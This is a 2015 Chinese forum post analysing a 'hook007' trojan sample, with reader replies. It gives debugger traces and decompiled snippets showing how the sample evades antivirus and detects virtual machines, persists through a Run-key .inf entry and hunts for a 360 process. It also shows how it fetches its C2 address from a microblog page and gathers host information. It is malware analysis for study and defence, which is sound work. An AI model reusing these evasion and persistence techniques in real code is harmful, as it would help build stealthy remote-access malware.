hook007样本分析
本帖最后由 康小泡 于 2015-9-2 18:52 编辑前言
这个样本最近有人分析过,分析帖子在这里http://www.52pojie.cn/forum.php?mod=viewthread&tid=406654&page=1#pid9966515,我只是看到Ta的排版心里好痒痒,才写了这个文章,没有其他意思。分析的不好的话大家不要打我啊,我怕疼啊。简单介绍一下这个样本,这个样本以前看到过,是在360技术博客上看到过,这是一系列的木马,该系列木马有一个酷酷的名字叫做hook007家族,人家是以家族来称的,所以可见这类木马是有很多的。这就是其中的变种之一吧
样本信息
nvwsrds.dll-MD5: 22248627f964fe6cd6a137c9fbb12a58
png.bat-MD5: 97f24d32dba35fe19b11951c4bb09bfd
temp-MD5: 7c0fe5ca914753bb93351508836a266f
图1-MD5: d652e4f08ac6b7ba5f6aab1be42dbda2
样本分析
"图1"分析
"图1"是一个快捷方式,指向了cmd,调用cmd去执行png.bat
C:\WINDOWS\system32\cmd.exe /c png.bat
png.bat分析
Png.bat是一个批处理文件,用记事本打开的时候是乱码,这里有一个小的知识点,这个bat采用的是UTF-16LE编码形式,只要我们用winhex将最前面的FF FE去掉,用记事本打开就不是乱码了。大家可以下去试试。
mkdir "%programfiles%"
rundll32.exe nvwsrds.dll,avmode -fn hgfyryertsdsd
nvwsrds.dll分析
0x01采用大量花指令来做免杀
在分析png.bat的时候,我们就知道这个样本的重头戏就在avmode这个函数里面,所以我们重点从这个函数入手,在进入这个函数的时候,我们看到的是大量的花指令,列如下面一小段(目测是手工添加的,真想问一句,累吗?)
10003468 55 push ebp
10003469 90 nop
1000346A 90 nop
1000346B 8BEC mov ebp,esp
1000346D 85F6 test esi,esi
1000346F 90 nop
10003470 8BE5 mov esp,ebp
10003472 90 nop
10003473 90 nop
10003474 5D pop ebp
0x02判断自身是否已驻扎在系统
先通过调用GetModuleFileName获取到当前已加载模块的完整路径,然后通过调用strstr函数来判断当前已加载模块中是否含有nvwing.dll字符串
0012F374 100062DC|s1 = "c:\documents and settings\administrator\桌面\价格图\nvwsrds.dll"
0012F378 0012F930\s2 = "\nvwimg.dll"
0x03对敏感信息的隐藏
该样本在对敏感字符串和敏感函数的处理上都是通过使用拼接的方式来获完成的,(对于敏感函数的处理是先通过拼接的方式获取到完整的函数名,在通过LoadLibrary和GetProceAddress函数合用获取到函数的地址,然后进行调用)
.text:10002E90 mov byte ptr , 'A'
.text:10002E97 mov , al
.text:10002E9D mov , al
.text:10002EA3 mov byte ptr , 'D'
.text:10002EAA mov byte ptr , 'A'
.text:10002EB1 mov byte ptr , 'T'
.text:10002EB8 mov byte ptr , 'A'
.text:10002EBF mov , cl
.text:10002EC5 mov byte ptr , '\'
0x04复制自身
调用ExpandEnvironmentStringA函数,传入参数%APPDAT%avmode来得到即将要创建的文件的路径,当函数调用成功后,%APPDAT%\avmode会扩展成 "C:\Documents and Settings\Administrator\Application Data\avmode"
然后调用CreateDirectoryA函数来创建路径。再调用strcat函数将文件名添加到后面(注意到没有,这里的文件名就是最开始的时候查找字符串,所以这里我们可以看出分析出前面是在判断样本是否已经驻扎在了我们的电脑里面)
0012F370 10002FBB/CALL 到 lstrcatA 来自 nvwsrds.10002FB9
0012F374 0012F488|ConcatString = "C:\Documents and Settings\Administrator\Application Data\avmode"
0012F378 0012F930\StringToAdd = "\nvwimg.dll"
调用CopyFile函数将文件复制到新的目录下
0012F36C 10002FD1/CALL 到 CopyFileA 来自 nvwsrds.10002FCF
0012F370 100062DC|ExistingFileName = "c:\documents and settings\administrator\桌面\价格图\nvwsrds.dll"
0012F374 0012F488|NewFileName = "C:\Documents and Settings\Administrator\Application Data\avmode\nvwimg.dll"
0012F378 00000000\FailIfExists = FALSE
接下来样本使用同样的手段将temp文件复制到了 "C:\Documents and Settings\Administrator\Application Data\avmode"路径下。
0x05全屏显示图片
这里样本一个以字符串拼接获取到字符串"shimgvw.dll,ImageView_Fullscreen c:\documents and settings\administrator\桌面\价格图\bbs.bmp",也就是下面调用ShellExecuteA函数时需要用到的一个参数。这里的功能其实就是使图片bbs.bmp全屏显示。所以这里不知道是样本的不完整,还是是样本保留了以前的版本的一些功能。
0012F360 10003326/CALL 到 ShellExecuteA 来自 nvwsrds.10003324
0012F364 00000000|hWnd = NULL
0012F368 0012F958|Operation = "Open"
0012F36C 0012F904|FileName = "rundll32.exe"
0012F370 0012F690|Parameters = "shimgvw.dll,ImageView_Fullscreen c:\documents and settings\administrator\桌面\价格图\bbs.bmp"
0012F374 100060D8|DefDir = "c:\"
0012F378 00000005\IsShown = 5
0x06 执行复制到系统中的"自己"
前面这些都是在为隐藏自己做的铺垫
0012F360 100033CB/CALL 到 ShellExecuteA 来自 nvwsrds.100033C9
0012F364 00000000|hWnd = NULL
0012F368 0012F958|Operation = "Open"
0012F36C 0012F904|FileName = "rundll32.exe"
0012F370 0012F388|Parameters = ""C:\Documents and Settings\Administrator\Application Data\avmode\nvwimg.dll" avmode"
0012F374 100060D8|DefDir = "c:\"
0012F378 00000005\IsShown = 5
0x07检测虚拟机
首先还是判断自己是不是已经驻扎在了系统中,如果有就开始做检测啦。这里使用的是特权指令来检测是否是在虚拟机中,原理是因为in指令属于特权指令,在处于保护模式下的合计上执行次指令时,除非权限允许,否则将会"EXCEPTION_PRIV_INSTRUCTION"异常(程序企图执行一条当前CPU模式不允许的指令时引发该异常),但是在虚拟机中的时候就不会触发该异常
.text:100027D8 mov eax, 'VMXh'
.text:100027DD mov ebx, 0
.text:100027E2 mov ecx, 0Ah ;指定功能号,0A是获取版VMware版本
.text:100027E7 mov edx, 'VX' ;端口号
.text:100027EC in eax, dx ;从端口dx读取VWware版本到eax
.text:100027ED cmp ebx, 'VMXh' ;判断ebx中是否包含VMware版本"VMXh",如果有就在虚拟机中
.text:100027F3 setz byte ptr ;设置返回值
因为已经知道是是需要触发异常才能去执行正确的代码段,这里我们直接去找到异常处理的地方,当我们执行完in eax,dx的时候,我们就可以去查找异常处理链来找到异常处理的地址
0012F330 0012F998指向下一个 SEH 记录的指针
0012F334 1000244ESE处理程序
SE处就是我们要找的地方。我们在这里新建eip,然后F7,然后alt+F9就到达了用户领空了
1000244E- FF25 88430010 jmp dword ptr ds:[<&MSVCRT._except_handl>; msvcrt._except_handler3
这里说一点是当他检测到了虚拟机的时候是进入了休眠里,使用了sleep和jmp使程序一直在sleep,而不是直接退出程序
0x08解密temp文件
0012EC0C 10002A94/CALL 到 CreateFileA 来自 nvwimg.10002A92
0012EC10 100062DC|FileName = "c:\documents and settings\administrator\application data\avmode\temp"
0012EC14 80000000|Access = GENERIC_READ
0012EC18 00000000|ShareMode = 0
0012EC1C 00000000|pSecurity = NULL
0012EC20 00000003|Mode = OPEN_EXISTING
0012EC24 00000080|Attributes = NORMAL
0012EC28 00000000\hTemplateFile = NULL
获取文件大小
0012EC20 10002AB6/CALL 到 GetFileSize 来自 nvwimg.10002AB3
0012EC24 0000003C|hFile = 0000003C
0012EC28 00000000\pFileSizeHigh = NULL
读取文件
0012EC14 10002B2A/CALL 到 ReadFile 来自 nvwimg.10002B28
0012EC18 0000003C|hFile = 0000003C
0012EC1C 00A20048|Buffer = 00A20048
0012EC20 0002102D|BytesToRead = 2102D (135213.)
0012EC24 0012EC4C|pBytesRead = 0012EC4C
0012EC28 00000000\pOverlapped = NULL
读入的temp文件
解密后的数据
0x09 创建配置文件
通过字符串拼接的方式拼接处路径,然后创建配置文件
0012DC90 00CBBDB7/CALL 到 lstrcatA 来自 00CBBDB5
0012DC94 0012EAD0|ConcatString = "C:\Documents and Settings\Administrator\Application Data\avmode\avmode"
0012DC98 00CCD6AC\StringToAdd = ".inf"
配置文件内容如下,主要起开机自启动作用
Signature="$CHICAGO$"
Provider=t@t.com, 2002
; DelReg=run_DelReg
AddReg=run_AddReg
hkcu,"Software\Microsoft\Windows\CurrentVersion\Run","Update",,"rundll32.exe ""C:\Documents and Settings\Administrator\Application Data\avmode\Bitavmode.dll"",avmode"
0xA0创建互斥量
创建一个名文"t.qq.com/as730498358"的互斥量
0012DC8C 00CBC370/CALL 到 CreateMutexA 来自 00CBC36A
0012DC90 00000000|pSecurity = NULL
0012DC94 00000000|InitialOwner = FALSE
0012DC98 00CCD220\MutexName = "t.qq.com/as730498358"
0xA1创建线程
调用_beginthreadex创建线程,我们来到创建线程的地方的基地址,这里就跑到解密后的temp文件的领空去执行了
00CBCF94 52 push edx
00CBCF95 68 D0CECB00 push 0xCBCED0
00CBCF9A 50 push eax
00CBCF9B 51 push ecx
00CBCF9C FF15 9822CC00 call dword ptr ds: ; msvcrt._beginthreadex
0xA2建立TCP协议
调用socket的时候,我们从参数SOCK_STREAM可以看出采用的TCP协议来进行通信,接下来就是基本的套接字的建立过程,就不写了。
00EABBE4 00000002|Family = AF_INET
00EABBE8 00000001|Type = SOCK_STREAM
00EABBEC 00000006\Protocol = IPPROTO_TCP
从下面看出这个是个客户端,在创建连接
00CB2375 6A 10 push 0x10
00CB2377 52 push edx
00CB2378 50 push eax
00CB2379 FF15 8824CC00 call dword ptr ds: ; ws2_32.connect
0xA3注册表操作
if ( !RegCreateKeyExA(hKey, lpSubKey, 0, 0, 0, 0xF003Fu, 0, &phkResult, &dwDisposition) )
goto LABEL_3;
break;
case 1:
LABEL_3:
if ( !RegOpenKeyExA(hKey, lpSubKey, 0, 0x2001Fu, &phkResult) && dwType > 0 )
{
if ( dwType <= 2 )
{
if ( !RegSetValueExA(phkResult, lpValueName, 0, dwType, lpData, strlen((const char *)lpData) + 1) )
goto LABEL_16;
}
else if ( dwType == 4 && !RegSetValueExA(phkResult, lpValueName, 0, 4u, &Data, 4u) )
{
goto LABEL_16;
}
}
break;
case 2:
if ( !RegOpenKeyExA(hKey, lpSubKey, 0, 0x2001Fu, &phkResult) && !RegDeleteKeyA(phkResult, lpValueName) )
goto LABEL_16;
break;
case 3:
if ( !RegOpenKeyExA(hKey, lpSubKey, 0, 0x2001Fu, &phkResult) && !RegDeleteValueA(phkResult, lpValueName) )
0xA4查找360主动防御进程
先创建快照,在遍历进程,在进程中寻找是否有"ZhuDongFangYu.exe"进程
00CBB196 68 50D5CC00 push 0xCCD550 ; ASCII "ZhuDongFangYu.exe"
00CBB19B 897424 20 mov dword ptr ss:,esi
v1 = CreateToolhelp32Snapshot(2u, 0);
memset(&pe.cntUsage, 0, 0x124u);
pe.dwSize = 296;
if ( Process32First(v1, &pe) )
{
if ( !strcmpi(pe.szExeFile, lpString2) )
return pe.th32ProcessID;
if ( Process32Next(v1, &pe) )
{
while ( lstrcmpiA(pe.szExeFile, lpString2) )
{
if ( !Process32Next(v1, &pe) )
return 0;
}
return pe.th32ProcessID;
}
}
return 0;
}
0x0A5访问网络
1.首先通过访问www.360.cn来测试网络是否通畅,然后获取到即将访问的地址(写死到程序中的,就不详细介绍了)
00CB1008 6A 01 push 0x1
00CB100A 68 20B0CC00 push 0xCCB020 ; ASCII "www.360.cn"
00CB100F 8946 14 mov dword ptr ds:,eax
00CB1012 8946 0C mov dword ptr ds:,eax
00CB1015 8946 10 mov dword ptr ds:,eax
00CB1018 8906 mov dword ptr ds:,eax
00CB101A 8946 04 mov dword ptr ds:,eax
00CB101D 8946 08 mov dword ptr ds:,eax
00CB1020 FF15 0824CC00 call dword ptr ds: ; wininet.InternetOpenA
00EA9BEC 00EABE88ASCII http://t.qq.com/as730498358
2.通过调用InternetReadFile来读取网页的源码
00CB1404 50 push eax
00CB1405 8D4C24 18 lea ecx,dword ptr ss:
00CB1409 68 FF1F0000 push 0x1FFF
00CB140E 51 push ecx
00CB140F 52 push edx
00CB1410 FF15 2C24CC00 call dword ptr ds: ; wininet.InternetReadFile
3.查看网页源代码的时候,可以看出来是通过IP#61标记来找到藏在主页中的ip地址
00CBAE8D 68 5CD4CC00 push 0xCCD45C ; ASCII "IP="
00CBAE92 50 push eax
00CBAE93 FF15 D024CC00 call dword ptr ds: ; ntdll.strstr
分割字符串,以获取"纯ip地址" C
00CBAEAF 68 58D4CC00 push 0xCCD458 ; ASCII "&#"
00CBAEB4 57 push edi
00CBAEB5 FF15 A022CC00 call dword ptr ds: ; msvcrt.strtok
0xA6 获取本机基本信息
1.获取主机名
00CBA76C 83E1 03 and ecx,0x3
00CBA76F F3:AA rep stos byte ptr es:
00CBA771 FF15 B024CC00 call dword ptr ds: ; ws2_32.gethostname
2.获取主机版本信息
00CBA842 C68424 A0000000>mov byte ptr ss:,0x66
00CBA84A C68424 7E010000>mov byte ptr ss:,0x0
00CBA852 C78424 A4000000>mov dword ptr ss:,0x9C
00CBA85D FF15 D821CC00 call dword ptr ds: ; kernel32.GetVersionExA
3.获取本地地址
00CBA93C 52 push edx
00CBA93D FF15 B424CC00 call dword ptr ds: ; ws2_32.getsockname
4.获取当前主机信息
00CBA98A 51 push ecx
00CBA98B FF15 0C21CC00 call dword ptr ds: ; kernel32.GetSystemInfo
5.获取硬盘容量
00EAB6EC 00CBA9F0/CALL 到 GetDriveTypeA 来自 00CBA9EE
00EAB6F0 00EAB704\RootPathName = "B:\"
00EAB6F4 7C80932Ekernel32.GetTickCount
00CBA9EE FFD5 call ebp ; kernel32.GetDriveTypeA
00CBAA07 51 push ecx
00CBAA08 52 push edx
00CBAA09 FF15 C021CC00 call dword ptr ds: ; kernel32.GetDiskFreeSpaceExA
6.获取当前时间信息
00EAB6DC 00EAB8A4ASCII "2015-09-02 16"
00EAB6E0 00CCD414ASCII "%4d-%.2d-%.2d %.2d"
0xA7提升权限
v2 = 1;
v3 = GetCurrentProcess();
if ( OpenProcessToken(v3, 0x28u, &TokenHandle) )
{
NewState.PrivilegeCount = 1;
NewState.Privileges.Attributes = a2 != 0 ? 2 : 0;
LookupPrivilegeValueA(0, lpName, (PLUID)NewState.Privileges);
AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0x10u, 0, 0);
if ( GetLastError() )
v2 = 0;
CloseHandle(TokenHandle);
result = v2 != 0;
}
总结
啊,这个样本死了,抓包的时候也没有抓到什么有用的信息,这个样本分析就到这吧,感谢前面那篇文章的作者,在前面那篇文章中学到了一些新知识。谢谢
ruanjianjl 发表于 2015-10-19 19:18
大牛你好 我也下载分析了一下 但是有个问题 TEMP文件载入显示不是PE文件 你是怎么查看里面的IP信息的 求解...
程序在运行的时候,对temp文件进行了解密的,所以你要到主程序里面去看 薄荷之夏 发表于 2015-9-2 19:00
小白表示看不懂这是什么
你分析过样本后你看样本分析贴就会很容易就能看懂,你分析过一个样本的话,后面你不会在意别人分析了什么,而是这个样本都利用了哪些你不知道的技术在作怪 小白表示看不懂这是什么{:301_1008:} {:17_1079:}表示我的排版功夫真是差到家,看来以后还是改用代码而不要用截图了 {:17_1085:} 虽然看不懂但是感觉很牛逼的样子 支持,真不错。{:1_926:} 龙飞雪 发表于 2015-9-3 09:20
支持,真不错。
{:1_914:} 谢谢 支持小泡 蚯蚓翔龙 发表于 2015-9-3 10:34
支持小泡
谢谢,么么哒{:301_1003:} 这种感觉一般都是用于点对点的远控之类样本,前年开始火起来。
小师妹在公司做PC样本分析?